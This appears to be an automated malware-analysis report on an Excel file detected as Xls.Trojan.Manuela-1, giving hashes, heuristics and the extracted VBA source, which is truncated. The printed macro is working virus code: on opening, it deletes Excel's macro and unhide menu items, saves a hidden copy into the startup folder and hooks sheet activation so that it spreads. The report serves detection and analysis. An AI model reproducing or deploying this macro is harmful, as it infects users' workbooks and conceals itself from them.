Xls.Trojan.Manuela-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 b3fde1d87203f373…

MALICIOUS

Office (OLE)

35.0 KB Created: 1998-11-01 14:26:40 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: 20c8909ed9993f1e2f73850f1907c2e2 SHA-1: ab3caf5ae77d655edce2d3a55f2ebf6cfadb1d93 SHA-256: b3fde1d87203f373084ed3e2b59439004c5f0164ef273645f5667fe3df4a932b
220 Risk Score

Malware Insights

Xls.Trojan.Manuela-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is an Excel document containing VBA macros, including an Auto_Open subroutine. This subroutine attempts to modify Excel's menu bars, suggesting an intent to manipulate the user or hide malicious activity. The presence of Auto_Open and Auto_Close macros, combined with ClamAV detections of 'Xls.Trojan.Manuela-1', strongly indicates a malicious macro-based payload designed to execute upon opening.

Heuristics 4

  • ClamAV: Xls.Trojan.Manuela-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Manuela-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5288 bytes
SHA-256: aa1f82d6db69994f3756fe2ee13f5e46fde2045fc7c6d8432531f643ce6b255f
Detection
ClamAV: Xls.Trojan.Manuela-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "DieseArbeitsmappe"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Tabelle1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Tabelle2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Tabelle3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Modul1"
Sub Auto_Open()
On Error Resume Next
Application.ScreenUpdating = False
Application.DisplayAlerts = False
MenuBars(xlWorksheet).Reset
MenuBars(xlModule).Reset
MenuBars(xlNoDocuments).Reset
MenuBars(xlInfo).Reset
MenuBars(xlChart).Reset
MenuBars(xlWorksheet).Menus("Tools").MenuItems("---").Delete
MenuBars(xlWorksheet).Menus("Tools").MenuItems("&Macro...").Delete
MenuBars(xlWorksheet).Menus("Tools").MenuItems("&Record Macro").Delete
MenuBars(xlWorksheet).Menus("Window").MenuItems("&Hide").Delete
MenuBars(xlWorksheet).Menus("Window").MenuItems("&Unhide...").Delete
MenuBars(xlWorksheet).Menus("Format").MenuItems("S&heet").Delete
MenuBars(xlWorksheet).Menus("Edit").MenuItems("--").Delete
MenuBars(xlWorksheet).Menus("Edit").MenuItems("&Delete...").Delete
MenuBars(xlWorksheet).Menus("Edit").MenuItems("De&lete Sheet").Delete
MenuBars(xlWorksheet).Menus("Edit").MenuItems("&Move or Copy Sheet...").Delete
MenuBars(xlWorksheet).Menus("Insert").MenuItems("&Macro").Delete
MenuBars(xlChart).Menus("Tools").MenuItems("---").Delete
MenuBars(xlChart).Menus("Tools").MenuItems("&Macro...").Delete
MenuBars(xlChart).Menus("Tools").MenuItems("&Record Macro").Delete
MenuBars(xlChart).Menus("Window").MenuItems("&Hide").Delete
MenuBars(xlChart).Menus("Window").MenuItems("&Unhide...").Delete
MenuBars(xlChart).Menus("Edit").MenuItems("--").Delete
MenuBars(xlChart).Menus("Edit").MenuItems("De&lete Sheet").Delete
MenuBars(xlChart).Menus("Edit").MenuItems("&Move or Copy Sheet...").Delete
MenuBars(xlChart).Menus("Insert").MenuItems("&Macro").Delete
MenuBars(xlModule).Menus("Tools").MenuItems("Assig&n Macro...").Delete
MenuBars(xlNoDocuments).Menus("File").MenuItems("--").Delete
MenuBars(xlNoDocuments).Menus("File").MenuItems("&Macro...").Delete
MenuBars(xlNoDocuments).Menus("File").MenuItems("&Record New Macro...").Delete
MenuBars(xlNoDocuments).Menus("File").MenuItems("&Unhide...").Delete
If cek_tiers() Then 'check on tiers!
    GoTo HobSheet:  'found?
Else
    infecttiers     'Do you know who I am? ;*)
End If
HobSheet:
Application.OnSheetActivate = "xstart.XLM!Hob"
bye:
End Sub

Function cek_tiers() As Boolean
cek_tiers = False
For x = 1 To Application.Workbooks.Count
    If Application.Workbooks(x).Name = "xstart.XLM" Then
    For y = 1 To Application.Workbooks("xstart.XLM").Modules.Count
        If Application.Workbooks("xstart.XLM").Modules(y).Name = "Module1" Then
            cek_tiers = True
        End If
    Next y
    End If
Next x
End Function

Function infecttiers()
  activebook = ActiveWorkbook.Name
  Workbooks(activebook).SaveCopyAs Application.StartupPath + "\xstart.XLM"
  Workbooks.Open (Application.StartupPath + "\xstart.XLM")
  Windows("xstart.XLM").Visible = False
 Application.Workbooks("xstart.XLM").Save
End Function

Function inHobIt() As Boolean
activebook = ActiveWorkbook.Name
inHobIt = False
For y = 1 To Application.Workbooks(activebook).Modules.Count
    If Application.Workbooks(activebo
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.